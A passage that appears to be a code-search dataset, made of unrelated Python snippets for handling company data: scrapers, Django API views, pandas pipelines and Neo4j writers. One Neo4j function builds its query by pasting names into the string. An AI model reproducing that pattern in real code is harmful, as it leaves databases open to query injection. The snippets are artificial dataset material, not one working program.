setup_data(es_with_collector):\n country_uk = constants.Country.united_kingdom.value.id\n country_us = constants.Country.united_states.value.id\n uk_region = constants.UKRegion.south_east.value.id\n CompanyFactory(\n name='abc defg ltd',\n trading_names=['helm', 'nop'],\n address_1='1 Fake Lane',\n address_town='Downtown',\n address_country_id=country_uk,\n uk_region_id=uk_region,\n )\n CompanyFactory(\n name='abc defg us ltd',\n trading_names=['helm', 'nop', 'qrs'],\n address_1='1 Fake Lane',\n address_town='Downtown',\n address_country_id=country_us,\n registered_address_country_id=country_us,\n )\n es_with_collector.flush_and_refresh()","def make_companies():\n logging.info(\"Making CH\")\n companies_address = get_address()\n companies_sector = get_sector()\n\n companies = (\n companies_address[[\"company_number\", \"postcode\"]]\n .merge(\n companies_sector.query(\"rank==1\")[[\"company_number\", \"SIC4_code\"]],\n on=\"company_number\",\n )\n .assign(division=lambda x: [c[:2] for c in x[\"SIC4_code\"]])\n .assign(division_name=lambda x: x[\"division\"].map(_DIV_NAME_LOOKUP))\n .merge(nspl, left_on=\"postcode\", right_on=\"pcds\")\n )\n\n return companies","def _store_company_info(self, company_info):\n def add_node_company(tx, *args, **kwargs):\n props = ', '.join('c.' + prop + ' = $' + prop for prop in kwargs.keys())\n tx.run('MERGE (c: Company {{rc: $rc}}) '\n f'ON CREATE SET {props}', *args, **kwargs)\n\n def add_node_person(tx, *args, **kwargs):\n props = ', '.join('(p: Person {name: \"' + name + '\"}' + ')' for name in kwargs['p_name'])\n tx.run(f'MERGE {props}', *args, **kwargs)\n\n def add_rela_works_in(tx, *args, **kwargs):\n tx.run('MATCH (c: Company {name: $c_name}), (p: Person) '\n 'WHERE p.name in $p_name '\n 'MERGE (p)-[:WORKS_IN]->(c)', *args, **kwargs)\n\n with self._DRIVER.session() as session:\n representatives = company_info.pop('repr')\n session.write_transaction(add_node_company, **company_info)\n session.write_transaction(add_node_person, p_name=representatives)\n session.write_transaction(add_rela_works_in, p_name=representatives, c_name=company_info['name'])","def retrieve_company_data(self):\n self.set_stock_sym_append_str('')\n self.set_stock_retrieval_type('all') #'all', watcher\n self.load_stock_symbol_fr_file()","def create_company(list_of_data):\n ID = common.generate_random(list_of_data)\n user_input = ui.get_inputs(list_labels, title)\n user_input.insert(0, ID)\n list_of_data.append(user_input)\n with open(\"company/company_data.csv\",\"w\") as f:\n for i in range(len(list_of_data)):\n row = ','.join(list_of_data[i])\n f.write(row + '\\n')","def __init__(self, name, **company_data):\n self.name = name\n self.__dict__.update(company_data)","def _match_fields(self):\n\n data = {\n 'user': self.user,\n 'name': self.data['Company Name'].lower(),\n 'address': self.data['Mailing Address'].lower(),\n 'city': self.data['Mailing City'].lower(),\n 'state': self.data['Mailing State'].lower(),\n 'zipcode': self.__parse__('zipcode'),\n 'phone': self.__parse__('phone'),\n 'first_name': self.data['Executive First Name'].lower(),\n 'last_name': self.data['Executive Last Name'].lower(),\n 'title': self.data['Executive Title'].lower(),\n 'profile': self._get_profile(),\n 'sales_volume': self.data['Location Sales Volume Range'],\n 'employee_count': self.__parse__('employee_count'),\n 'origin': 'C' # cold call\n }\n Company(**data).save()\n return len(data);","def __init__(self, path):\n self.csv_path = path\n # check if csv format is valid or not\n self.check_valid_csvformat(self.csv_path)\n \"\"\" empty dict to store all company names\n prepare initial company data in dictionary format \"\"\"\n self.company_data = dict()","def generate_company_library():\n\n companyids = generate_company_list()\n counter = 0\n companyids = companyids[counter:]\n\n for id in companyids:\n print(counter,\"generating\", id + \".csv\")\n try:\n update_data(id)\n except:\n pass\n counter += 1","def create_company_df(companies):\n\n companies = list(set(companies)) # removes duplicates\n\n symbols = []\n exchanges = []\n ynames = []\n is_us = []\n\n for company in companies:\n sym, exch, yco, usa = check_usa_mkts(get_company_info(company))\n symbols.append(sym)\n exchanges.append(exch)\n ynames.append(yco)\n is_us.append(usa)\n\n marketcaps = []\n sizes = []\n urls = []\n urls_pr = []\n\n for sym, co in zip(symbols, companies):\n if sym == \"n/a\":\n print(f\"Skipping {co}\\n\")\n marketcaps.append(\"n/a\")\n sizes.append(\"n/a\")\n urls.append(\"n/a\")\n urls_pr.append(\"n/a\")\n continue\n\n print(f\"Checking {co} [{sym}]\")\n marketcap = get_market_cap(sym)\n size = id_company_size(marketcap)\n url = get_company_url(sym)\n url_pr = get_press_release_page(url)\n\n marketcaps.append(marketcap)\n sizes.append(size)\n urls.append(url)\n urls_pr.append(url_pr[0])\n\n print(\"Search complete\")\n\n df = pd.DataFrame(\n {\n \"Company\": companies,\n \"Yahoo Listed Co.\": ynames,\n \"Symbol\": symbols,\n \"Exchange\": exchanges,\n \"Market Cap\": marketcaps,\n \"Company Size\": sizes,\n \"Is American\": is_us,\n \"Home URL\": urls,\n \"Press Release URL\": urls_pr,\n }\n )\n\n return df","def _prepare_data(self):\n #TODO hardcoded values need to change\n print_info(\"Preprocessing the train data...\")\n self._place_dataset(os.path.join(self._hparams[\"temp-data\"], \"train\"),\n self.TRAIN_OUT_PATH)\n\n print_info(\"Preprocessing the test data...\")\n self._place_dataset(os.path.join(self._hparams[\"temp-data\"], \"test\"),\n self.TEST_OUT_PATH)\n\n print_info(\"Preprocessing the validation data...\")\n self._place_dataset(os.path.join(self._hparams[\"temp-data\"], \"val\"),\n self.VAL_OUT_PATH)","def __init__(self):\n\n\n f = open(datapath + '/Data/companylist.csv', 'r')\n\n\n for line in f:\n reg = line.split(',')\n if reg[0] != 'Symbol':\n if reg[0] not in self.cnames:\n self.cnames[reg[0]] = [reg[1], reg[2], reg[3], reg[4].strip()]\n else:\n if reg[4].strip() != 'ASX':\n self.cnames[reg[0]] = [reg[1], reg[2], reg[3], reg[4].strip()]","def fill_record_for_company(conn, symbol):\n # call APIs\n info = get_company_info_for(symbol)\n # insert new record into db\n insert_company(conn=conn,\n symbol=symbol,\n name=info[0][\"name\"],\n exchange=info[0][\"exchangeShortName\"])","def __init__(self, client_id, login_details, data_set=None):\n self.schema = login_details['company_schema']\n data = self.get_details(client_id)\n self.name = data[1]\n self.id = data[0]\n self.sort_code = data[2]\n self.data_set = data_set\n self.default_email = self.get_default_email()","def company_v1(request):\n domain = request.GET.get(\"domain\")\n output_data = {}\n feed_company_from_db1_is_ok = 0\n\n if domain:\n\n domain = domain.lower()\n if domain.startswith(\"www.\"):\n domain = domain.replace(\"www.\", \"\")\n\n try:\n\n output_data = feed_company_from_db1(output_data, domain)\n feed_company_from_db1_is_ok = 1\n\n try:\n\n output_data = company_addition_from_db2(output_data, domain)\n\n except IndexError:\n\n if not feed_company_from_db1_is_ok:\n\n try:\n\n output_data = feed_company_from_clearbit(\n output_data=output_data,\n domain=domain\n )\n\n except IndexError:\n\n try:\n\n clearbit_company = clearbit_api.get_company(domain)\n\n except:\n # Not sure which exceptions I could get from\n # Clearbit's Python lib.\n # I know I could get a KeyError if I'm trying\n # to access a json field that Clearbit put in\n # his docs but forgets to put in the response\n # (actually not anymore because I'm retrieving\n # the dict values with .get() now).\n # But I don't know which error it would give me\n # if api call gives me an error like a http 500\n # error.\n # Sometimes if Clearbit does not find a company\n # it raises a 422 http error (validation error\n # which should only happend for malformed domain\n # names) instead of just returning none...\n\n api_access_logging(\n request,\n \"company\",\n domain,\n \"404\",\n \"2\",\n \"1\"\n )\n return Response(\n {\n \"error_code\": \"2\",\n \"detail\": errors_for_customers[\"2\"]\n },\n status=status.HTTP_404_NOT_FOUND\n )\n\n if clearbit_company:\n\n output_data = feed_company_from_clearbit(\n output_data=output_data,\n cbcompany=clearbit_company\n )\n\n else:\n\n api_access_logging(\n request,\n \"company\",\n domain,\n \"404\",\n \"2\",\n \"1\"\n )\n return Response(\n {\n \"error_code\": \"2\",\n \"detail\": errors_for_customers[\"2\"]\n },\n status=status.HTTP_404_NOT_FOUND\n )\n\n except IndexError:\n\n try:\n\n output_data = feed_company_from_clearbit(\n output_data=output_data,\n domain=domain\n )\n\n except IndexError:\n\n try:\n\n clearbit_company = clearbit_api.get_company(domain)\n\n except:\n\n api_access_logging(\n request,\n \"company\",\n domain,\n \"404\",\n \"2\",\n \"1\"\n )\n return Response(\n {\n \"error_code\": \"2\",\n \"detail\": errors_for_customers[\"2\"]\n },\n status=status.HTTP_404_NOT_FOUND\n )\n\n if clearbit_company:\n\n output_data = feed_company_from_clearbit(\n output_data=output_data,\n cbcompany=clearbit_company\n )\n\n else:\n\n api_access_logging(\n request,\n \"company\",\n domain,\n \"404\",\n \"2\",\n \"1\"\n )\n return Response(\n {\n \"error_code\": \"2\",\n \"detail\": errors_for_customers[\"2\"]\n },\n status=status.HTTP_404_NOT_FOUND\n )\n\n else:\n\n api_access_logging(\n request,\n \"company\",\n domain,\n \"400\",\n \"3\",\n \"1\"\n )\n return Response(\n {\n \"error_code\": \"3\",\n \"detail\": errors_for_customers[\"3\"]\n },\n status=status.HTTP_400_BAD_REQUEST\n )\n\n # Check that user plan allows this request.\n if not customer_throttling_checked(request, domain):\n\n api_access_logging(\n request,\n \"company\",\n domain,\n \"402\",\n \"5\",\n \"1\"\n )\n return Response(\n {\n \"error_code\": \"5\",\n \"detail\": errors_for_customers[\"5\"]\n },\n status=status.HTTP_402_PAYMENT_REQUIRED\n )\n\n api_access_logging(\n request,\n \"company\",\n domain,\n \"200\",\n None,\n \"1\"\n )\n return Response(output_data)","def data_preparation(self) -> None:\n self.logger.info('data cleaning')\n self.logger.info('num of secs: {}, num of ipo_dates: {}, num of secs with prices: {}'.format(\n len(self.data),\n len(self.ipo_dates),\n len(self.prices)\n ))\n excluded = []\n excluded = [i.lower() for i in excluded]\n self.logger.info(f'number of excluded: {len(excluded)}')\n for i in excluded:\n self.data.pop(i)\n for s in self.data:\n # columns with empty assets sum (empty columns and other situations)\n self.data[s].dropna(axis='columns', how='any', subset=['A_0'], inplace=True)\n # columns with descriptions (polish and english names of values)\n self.data[s].drop(self.data[s].columns[[0, 1]], inplace=True, axis=1)\n\n self.logger.info(f'number of secs after cleaning: {len(self.data)}')\n data_list = [k for k in self.data.values()]\n self.uber_data = pd.concat(data_list, ignore_index=True, axis=1)\n self.uber_data = self.uber_data.transpose()\n self.uber_data = self.uber_data.loc[:, pd.notnull(self.uber_data.columns)]","def _company(self, uid=1):\r\n company = self.env['res.company'].browse(uid)\r\n return {\r\n 'journal': company.pledge_journal.id,\r\n 'product': company.pledge_product,\r\n 'account': company.pledge_receipt_account.id,\r\n 'property_account_income': company.pledge_product.property_account_income_id,\r\n }","def __init__(self, company_id):\n self.company_id = company_id","def test_website_companies_get_details(self):\n pass","def get_data_from_individual_company_pages(soup):\n individual_company_data = []\n usd_roe = get_usd_roe()\n company_code = (\n soup.find(\"meta\", {\"name\": \"description\"}).get(\"content\").split(\":\")[0]\n )\n current_price_usd = float(\n soup.find(\"span\", {\"class\": \"price-section__current-value\"}).text.replace(\n \",\", \"\"\n )\n )\n current_price = round(current_price_usd * usd_roe)\n try:\n p_e_ratio = float(\n soup.find(\n \"div\", {\"class\": \"snapshot__header\"}, string=\"P/E Ratio\"\n ).previous_sibling.replace(\",\", \"\")\n )\n except AttributeError:\n p_e_ratio = 0\n\n try:\n week_52_low = float(\n soup.find(\"div\", {\"class\": \"snapshot__header\"}, string=\"52 Week Low\")\n .previous_sibling.strip()\n .replace(\",\", \"\")\n )\n except AttributeError:\n week_52_low = 1\n\n try:\n week_52_high = float(\n soup.find(\"div\", {\"class\": \"snapshot__header\"}, string=\"52 Week High\")\n .previous_sibling.strip()\n .replace(\",\", \"\")\n )\n except AttributeError:\n week_52_high = 0\n\n unreal_profit_per_year_percent = round((week_52_high / week_52_low - 1) * 100, 2)\n\n individual_company_data.append(\n [company_code, current_price, p_e_ratio, unreal_profit_per_year_percent]\n )\n\n company_df = pd.DataFrame(\n columns=[\"company_code\", \"current_price\", \"P_E\", \"potential_profit_percent\"]\n )\n company_df = company_df.append(\n {\n \"company_code\": company_code,\n \"current_price\": current_price,\n \"P_E\": p_e_ratio,\n \"potential_profit_percent\": unreal_profit_per_year_percent,\n },\n ignore_index=True,\n )\n\n return company_df","def setup_dd(self, company):\n self.company = company\n self.apr = .03\n self.minimum_balance = 1000.0","def prepare_data(self):\n try:\n self.train_dataset = self.datasets['train']\n self.val_dataset = self.datasets['val']\n try:\n self.test_dataset = self.datasets['test']\n except:\n pass\n except Exception as e:\n print('Data was not succesfully prepared:', e)","def company():\n\n company = Company.objects.create(name='Tre G.M.B.H.', country='Germany')\n return company","def company(self, company):\n self._company = company","def feed_company_from_db2(output_data, domain):\n companyfc = CompanyFromdb2.objects.using('db2').filter(\n domain__iexact=domain\n )[0]\n\n if companyfc.founded:\n output_data['founded'] = companyfc.founded\n\n if companyfc.name:\n output_data['name'] = companyfc.name\n\n if companyfc.address:\n output_data['formatted_address'] = \"%s, %s\" % (\n companyfc.address,\n french_to_english_country_mapping_dict.get(\n companyfc.country,\n companyfc.country\n )\n )\n\n if companyfc.telephone:\n output_data['phone'] = companyfc.telephone\n\n if companyfc.website:\n analyzed_url = urlparse(companyfc.website)\n if analyzed_url.netloc and analyzed_url.scheme:\n website_url = \"%s://%s\" % (\n analyzed_url.scheme,\n analyzed_url.netloc\n )\n elif analyzed_url.netloc and not analyzed_url.scheme:\n website_url = analyzed_url.netloc\n else:\n website_url = analyzed_url.path\n output_data['website_url'] = website_url\n\n if companyfc.size and company_size_mapping_dict.get(companyfc.size):\n output_data['size'] = company_size_mapping_dict.get(companyfc.size)\n\n if companyfc.description:\n output_data['description'] = companyfc.description.replace(\n '\\n',\n ' '\n ).replace(\n '\\r',\n ''\n )\n\n if companyfc.updated_on:\n output_data['last_updated'] = companyfc.updated_on\n\n try:\n companysocialprofilefc = CompanySocialProfileFromdb2.objects.using(\n 'db2'\n ).filter(\n company__domain=domain\n )[0]\n output_data['linkedin_url'] = companysocialprofilefc.url\n except IndexError:\n pass\n\n return output_data","def generate_portfolio_data(self):\n self.__load_portfolio_historical_prices()\n self.__populate_historical_trade_data()\n self.__calculate_portfolio_returns()\n self.__calculate_portfolio_performance()","def clean_up_data(self):\n pass","def populate_dataframes(self, only_the_company_df=False, only_found_urls=False):\n start = self.kvk_range_process.start\n stop = self.kvk_range_process.stop\n if self.kvk_range_process.selection is not None:\n kvk_selection = self.kvk_range_process.selection\n elif self.kvk_selection is not None:\n kvk_selection = self.kvk_selection\n else:\n kvk_selection = None\n\n if self.rescan_missing_urls:\n sql_command = f\"select {COMPANY_ID_KEY}, count(*)-count({BESTAAT_KEY}) as missing \"\n sql_command += \"from web_site\"\n sel, sql = read_sql_table(table_name=\"web_site\", connection=self.database,\n variable=COMPANY_ID_KEY, lower=start, upper=stop,\n sql_command=sql_command, group_by=COMPANY_ID_KEY)\n missing = sel[sel[\"missing\"] > 0]\n selection = list(missing[COMPANY_ID_KEY].values)\n else:\n selection = kvk_selection\n\n sql_table, sql_command = read_sql_table(table_name=\"company\", connection=self.database,\n variable=KVK_KEY, datetime_key=DATETIME_KEY,\n lower=start,\n upper=stop, max_query=self.maximum_entries,\n force_process=self.force_process,\n older_time=self.older_time,\n selection=selection)\n self.company_df = sql_table\n self.company_df.set_index(KVK_KEY, inplace=True, drop=True)\n self.company_df.sort_index(inplace=True)\n\n # convert the timezone of the date/time stamp (which is stored in utc in sql) to our time\n # note that you need to use the dt operator before converting the date/times\n try:\n self.company_df[DATETIME_KEY] = \\\n self.company_df[DATETIME_KEY].dt.tz_convert(self.timezone)\n except AttributeError:\n logger.debug(\"Could not convert the date times in the company table. Probably empty\")\n\n if not only_the_company_df:\n sql = None\n var = None\n sel = None\n if selection is None:\n sql = re.sub(\"from company\", \"from address\", sql_command)\n logger.debug(f\"External sql command: {sql}\")\n else:\n var = KVK_KEY\n sel = list(self.company_df.index.values)\n\n self.address_df, sc = read_sql_table(table_name=\"address\", connection=self.database,\n sql_command=sql, variable=var, selection=sel)\n if selection is None:\n sql = re.sub(\"from company\", \"from web_site\", sql_command)\n sql = re.sub(f\"where {KVK_KEY}\", f\"where {COMPANY_ID_KEY}\", sql)\n sql = re.sub(f\"order by {KVK_KEY}\", f\"order by {COMPANY_ID_KEY}\", sql)\n logger.debug(f\"External sql command: {sql}\")\n else:\n var = COMPANY_ID_KEY\n self.website_df, sc = read_sql_table(table_name=\"web_site\", connection=self.database,\n sql_command=sql, variable=var,\n lower=start, upper=stop, selection=sel)\n self.website_df.rename(columns={COMPANY_ID_KEY: KVK_KEY, URL_ID_KEY: URL_KEY},\n inplace=True)\n\n self.website_df.loc[:, DISTANCE_STRING_MATCH_KEY] = None\n\n if only_found_urls:\n url_selection = list(self.website_df[URL_KEY].values)\n else:\n url_selection = None\n\n self.url_df, sc = read_sql_table(table_name=\"url_nl\", connection=self.database,\n variable=URL_KEY, selection=url_selection)\n\n self.url_df.set_index(URL_KEY, inplace=True, drop=True)\n self.url_df.sort_index(inplace=True)\n try:\n self.url_df[DATETIME_KEY] = self.url_df[DATETIME_KEY].dt.tz_convert(self.timezone)\n except AttributeError:\n logger.debug(\"Could not convert the date times in the url table. Probably empty\")","def feed_company_from_clearbit(\n output_data,\n domain=None,\n cbcompany=None\n):\n if not cbcompany:\n cbcompany = ClearbitCompany.objects.filter(domain__iexact=domain)[0]\n\n if cbcompany.founded_year:\n # Need to cast to str because Clearbit formats it as\n # an integer.\n output_data['founded'] = str(cbcompany.founded_year)\n\n if cbcompany.name:\n output_data['name'] = cbcompany.name\n\n if cbcompany.location:\n output_data['formatted_address'] = cbcompany.location\n\n if cbcompany.phone:\n output_data['phone'] = cbcompany.phone\n\n # Always have a domain.\n output_data['website_url'] = \"http://%s\" % cbcompany.domain\n\n if cbcompany.metrics_employees_range:\n output_data['size'] = cbcompany.metrics_employees_range\n\n if cbcompany.description:\n output_data['description'] = cbcompany.description\n\n if cbcompany.indexed_at:\n output_data['last_updated'] = cbcompany.indexed_at\n\n if cbcompany.linkedin_handle:\n output_data['linkedin_url'] = \"https://www.linkedin.com/%s\" % (\n cbcompany.linkedin_handle\n )\n\n if cbcompany.category_sub_industry:\n # cbcompany.category_sub_industry always contains 1 item\n # but our output_data['industries'] should return a list\n # so we put it in a list.\n output_data['industries'] = [cbcompany.category_sub_industry]\n\n try:\n # We have a list of emails in db but output_data['email']\n # should only return 1 email so we take the first email in\n # the list.\n csea = ClearbitCompanySiteEmailAddress.objects.filter(\n clearbit_company=cbcompany\n )[0]\n output_data['email'] = csea.email\n except IndexError:\n pass\n\n return output_data","def new_df(companies_filtered):\n name = []\n city = []\n latitude = []\n longitude = []\n zip_code = []\n for i in companies_filtered:\n name.append(i['name'])\n try: \n if i['offices'][0]['city'] == '':\n city.append(np.nan)\n else:\n city.append(i['offices'][0]['city'])\n latitude.append(i['offices'][0]['latitude'])\n longitude.append(i['offices'][0]['longitude'])\n except:\n city.append(np.nan)\n latitude.append(np.nan)\n longitude.append(np.nan)\n zip_code.append(np.nan)\n dict_ = {'company' : name, 'city' : city, 'latitude' : latitude, 'longitude': longitude}\n companies_df = pd.DataFrame.from_dict(dict_, orient='columns')\n \n return companies_df","def company(self, company):\n\n self._company = company","def company(self, company):\n\n self._company = company","def _build_data(self):\n licence_types = [('all', 'All')] + [(lt.pk, lt.display_name) for lt in LicenceType.objects.all()]\n data = {\n 'applications': {\n 'columnDefinitions': [],\n 'filters': {\n 'licenceType': {\n 'values': licence_types,\n },\n 'status': {\n 'values': [],\n }\n },\n 'ajax': {\n 'url': ''\n }\n },\n 'licences': {\n 'columnDefinitions': [],\n 'filters': {\n 'licenceType': {\n 'values': licence_types,\n },\n },\n 'ajax': {\n 'url': ''\n }\n },\n 'returns': {\n 'columnDefinitions': [],\n 'filters': {\n 'licenceType': {\n 'values': licence_types,\n },\n },\n 'ajax': {\n 'url': ''\n }\n }\n }\n return data","def prepare_data(self):\r\n annual_df = self.annual_df\r\n coef_df = self.coef_df\r\n quarter_df = self.quarter_df\r\n # historical_df = self.historical_df\r\n Event_Buffer = self.Event_Buffer\r\n\r\n Tot_Prod = coef_df[\"Product\"].nunique()\r\n # Tot_Week = coef_df[\"wk\"].nunique()\r\n Tot_Week = 52\r\n\r\n EDLP_Events = list(annual_df[\"RP_Events\"])\r\n Min_EDLP_Events = [\r\n i - Event_Buffer if i - Event_Buffer >= 0 else 0 for i in EDLP_Events\r\n ]\r\n Max_EDLP_Events = [\r\n i + Event_Buffer if i + Event_Buffer < Tot_Week + 1 else Tot_Week\r\n for i in EDLP_Events\r\n ]\r\n\r\n TPR_Events = list(annual_df[\"TPR_Events\"])\r\n Min_TPR_Events = [\r\n i - Event_Buffer if i - Event_Buffer >= 0 else 0 for i in TPR_Events\r\n ]\r\n Max_TPR_Events = [\r\n i + Event_Buffer if i + Event_Buffer < Tot_Week + 1 else Tot_Week\r\n for i in TPR_Events\r\n ]\r\n\r\n Target_EDLP_Spend = [i for i in annual_df[\"PPG_RP_Spend\"]]\r\n Target_TPR_Spend = [i for i in annual_df[\"PPG_TPR_Spend\"]]\r\n Target_Trade_Spend = [i for i in annual_df[\"PPG_Total_Spend\"]]\r\n\r\n Mapping = {}\r\n Prod_Ind = coef_df[\"Product\"][0:Tot_Prod]\r\n for i, j in zip(Prod_Ind.index, Prod_Ind.values):\r\n Mapping[j] = i\r\n Mapping_reverse = {i: j for j, i in Mapping.items()}\r\n\r\n constants = [i for i in coef_df[\"constant\"]]\r\n\r\n Cat_Coef = coef_df[\"Catalogue\"][0:Tot_Prod]\r\n\r\n Disp_Coef = coef_df[\"Display\"][0:Tot_Prod]\r\n\r\n Base_Price_stg1 = [i for i in quarter_df[\"Final_baseprice\"]]\r\n Intercepts_stg1 = []\r\n for pr in range(Tot_Prod):\r\n Intercepts_stg1.append(\r\n np.mean([constants[j * Tot_Prod + pr] for j in range(0, Tot_Week)])\r\n )\r\n\r\n Base_Price_stg2 = [[i] * Tot_Week for i in quarter_df[\"Final_baseprice\"]]\r\n Intercepts_stg2 = [\r\n constants[j : j + Tot_Prod] for j in range(0, len(constants), Tot_Prod)\r\n ] # noqa\r\n\r\n EDLP_Coef = np.array(\r\n coef_df[[i for i in coef_df.columns if i.count(\"Retailer_Regular\") == 1]]\r\n )\r\n TPR_Coef = np.array(\r\n coef_df[[i for i in coef_df.columns if i.count(\"Retailer_Promoted\") == 1]]\r\n )\r\n\r\n # ################################ Available EDLP Interactions pairs ##############################\r\n\r\n EDLP = [\r\n re.findall(r\"[0-9]+\", i)\r\n for i in coef_df.columns\r\n if i.count(\"Retailer_Regular\") > 1\r\n ]\r\n EDLP_Interactions = []\r\n for i in EDLP:\r\n temp = []\r\n for j in i:\r\n temp.append(int(j))\r\n EDLP_Interactions.append(temp)\r\n\r\n # ###################################### Available TPR Interactions pairs #########################\r\n\r\n TPR = [\r\n re.findall(r\"[0-9]+\", i)\r\n for i in coef_df.columns\r\n if i.count(\"Retailer_Promoted\") > 1\r\n ]\r\n TPR_Interactions = []\r\n for i in TPR:\r\n temp = []\r\n for j in i:\r\n temp.append(int(j))\r\n TPR_Interactions.append(temp)\r\n\r\n # ###################################### EDLP_Interaction_Coef_Values ############################\r\n\r\n EDLP_Int_Coef_Values = {}\r\n for col in coef_df.columns:\r\n if col.count(\"Retailer_Regular\") > 1:\r\n Pair_name = \"_\".join([str(int(i)) for i in re.findall(r\"[0-9]+\", col)])\r\n EDLP_Int_Coef_Values[Pair_name] = list(coef_df[col])\r\n\r\n # ###################################### TPR_Interaction_Coef_Values #############################\r\n\r\n TPR_Int_Coef_Values = {}\r\n for col in coef_df.columns:\r\n if col.count(\"Retailer_Promoted\") > 1:\r\n Pair_name = \"_\".join([str(int(i)) for i in re.findall(r\"[0-9]+\", col)])\r\n TPR_Int_Coef_Values[Pair_name] = list(coef_df[col])\r\n\r\n # ##################################### Loading Pantry Loading Coefficients #######################\r\n\r\n Pantry_1 = list(coef_df[\"Pantry_Loading_1\"])\r\n Pantry_1 = [\r\n Pantry_1[j : j + Tot_Prod] for j in range(0, len(Pantry_1), Tot_Prod)\r\n ]\r\n Pantry_2 = list(coef_df[\"Pantry_Loading_2\"])\r\n Pantry_2 = [\r\n Pantry_2[j : j + Tot_Prod] for j in range(0, len(Pantry_2), Tot_Prod)\r\n ]\r\n\r\n # TE_Coeff = np.array(Promo_df[[\"TE_Promo\",\"TE_NoPromo\"]])\r\n self.Tot_Prod = Tot_Prod\r\n self.Tot_Week = Tot_Week\r\n self.EDLP_Events = EDLP_Events\r\n self.Min_EDLP_Events = Min_EDLP_Events\r\n self.Max_EDLP_Events = Max_EDLP_Events\r\n self.TPR_Events = TPR_Events\r\n self.Min_TPR_Events = Min_TPR_Events\r\n self.Max_TPR_Events = Max_TPR_Events\r\n\r\n self.Target_EDLP_Spend = Target_EDLP_Spend\r\n self.Target_TPR_Spend = Target_TPR_Spend\r\n self.Target_Trade_Spend = Target_Trade_Spend\r\n self.Mapping = Mapping\r\n self.Mapping_reverse = Mapping_reverse\r\n self.constants = constants\r\n self.EDLP_Coef = EDLP_Coef\r\n self.TPR_Coef = TPR_Coef\r\n\r\n self.EDLP_Interactions = EDLP_Interactions\r\n self.TPR_Interactions = TPR_Interactions\r\n self.EDLP_Int_Coef_Values = EDLP_Int_Coef_Values\r\n self.TPR_Int_Coef_Values = TPR_Int_Coef_Values\r\n self.Pantry_1 = Pantry_1\r\n self.Pantry_2 = Pantry_2\r\n\r\n self.Base_Price_stg1 = Base_Price_stg1\r\n self.Intercepts_stg1 = Intercepts_stg1\r\n self.Base_Price_stg2 = Base_Price_stg2\r\n self.Intercepts_stg2 = Intercepts_stg2\r\n\r\n self.Cat_Coef = Cat_Coef\r\n self.Disp_Coef = Disp_Coef","def _setData(self):\n formatter = date.getLocaleFormatter(self.request, \"date\", \"long\")\n data_list = []\n results = self.query.all()\n \n # if no current parliament, no data\n try:\n parliament_id = model_utils.get_current_parliament().parliament_id\n except: \n return data_list\n #\n government_id = self.__parent__.government_id\n for result in results:\n data = {}\n data[\"qid\"] = \"g_%s\" % (result.group_id)\n data[\"subject\"] = result.short_name\n data[\"title\"] = \"%s (%s)\" % (result.short_name, result.type)\n data[\"result_item_class\"] = \"workflow-state-%s\" % (result.status)\n _url = \"/archive/browse/parliaments/obj-%s\" % (parliament_id)\n if type(result) == domain.Parliament:\n data[\"url\"] = url.set_url_context(_url)\n continue\n elif type(result) == domain.Committee:\n #data[\"url\"] = url + \"/committees/obj-\" + str(result.group_id) \n data[\"url\"] = url.set_url_context(\"/groups/%s/%s\" % (\n result.parent_group.group_principal_id,\n result.group_principal_id))\n elif type(result) == domain.PoliticalGroup:\n data[\"url\"] = url.set_url_context(\n \"%s/politicalgroups/obj-%s\" % (_url, result.group_id))\n elif type(result) == domain.Ministry:\n data[\"url\"] = url.set_url_context(\n \"%s/governments/obj-%s/ministries/obj-%s\" % (\n _url, government_id, result.group_id))\n else:\n data[\"url\"] = \"#\"\n data[\"status\"] = misc.get_wf_state(result)\n data[\"status_date\"] = formatter.format(result.status_date)\n data[\"owner\"] = \"\"\n data[\"type\"] = _(result.type)\n data[\"to\"] = \"\"\n data_list.append(data)\n self._data = data_list","def scrap_data_companies(self):\n list_job_offers = self.driver.find_elements_by_class_name(\n \"jobContainer\")\n jobs = []\n if len(list_job_offers) == 0:\n print(\"There is nothing to scrap for \", conf.URL_TO_SCRAPE,\n \"that was requested\")\n return\n\n for i, elt in enumerate(list_job_offers):\n\n self.remove_sign_up_prompt()\n self.remove_recommended_jobs()\n html_job_container = elt.get_attribute('innerHTML')\n time.sleep(2)\n name_company = get_name_company(elt.text)\n city_job = get_city_job(html_job_container)\n job_id = get_job_id(html_job_container)\n position_job = get_position(html_job_container)\n job_description = get_summary_job(position_job)\n\n if job_id is not None and name_company is not None:\n company = Company.Company(name_company)\n company_and_id_job = name_company + \"-\" + job_id\n self.current_path = os.path.join(self.date_path,\n company_and_id_job)\n os.mkdir(self.current_path)\n\n if i != 0:\n click_on_job_offer(\n elt) # link since we are already seeing it\n\n self.scrape_data_company(elt, company)\n company_id = company.insert_to_db(self.db_connection)\n job = JobOffer.JobOffer(job_id, company=company, city=city_job,\n position=position_job,\n description=job_description)\n job.insert_to_db(company_id, self.db_connection)\n jobs.append(job)\n print(job)\n else:\n logger.error(\"Job Id not found\")\n JobOffer.print_jobs(jobs)","def prepare_CSV(self):\n self.drop_columns()\n self.rename_columns()\n self.spilt_columns()\n self.add_vehicle_id_column()\n self.add_source_column()\n self.add_timestamp_columns()\n self.get_colour_columns()\n self.clean_column_formats()\n\n # print(self.data.info())\n # print(self.data.sample(10))\n\n return self.data","def _setData(self):\n data_list = []\n results = self.query.all()\n formatter = date.getLocaleFormatter(self.request, \"date\", \"long\")\n for result in results:\n data = {}\n data[\"qid\"] = (\"i-\" + str(result.parliamentary_item_id))\n if type(result)==domain.AgendaItem:\n g = u\" \" + result.group.type + u\" \" + result.group.short_name\n else:\n g = u\"\" # !+ g?\n data[\"subject\"] = result.short_name\n data[\"title\"] = result.short_name\n data[\"result_item_class\"] = \"workflow-state-\" + result.status\n data[\"url\"] = url.set_url_context(\"%ss/obj-%i\" % (\n result.type, result.parliamentary_item_id))\n data[\"status\"] = misc.get_wf_state(result)\n data[\"status_date\"] = formatter.format(result.status_date)\n data[\"owner\"] = \"%s %s\" %(result.owner.first_name, result.owner.last_name)\n data[\"type\"] = _(result.type)\n if type(result)==domain.Question:\n data[\"to\"] = result.ministry.short_name\n else:\n data[\"to\"]= u\"\"\n # remember original domain object\n data[\"id\"] = result.parliamentary_item_id\n data[\"_obj\"] = result\n # append processed result item\n data_list.append(data)\n self._data = data_list","def test_website_companies_create(self):\n pass","def test_get_all_company_props_using_get(self):\n pass","def data_preparation_for_report(job_category, job_name, bugzilla, build_number):\n common_report = dict()\n if len(job_category) == len(job_name) == len(bugzilla):\n for job_no in range(len(job_category)):\n common_report[job_category[job_no]] = {\n \"job_name\": 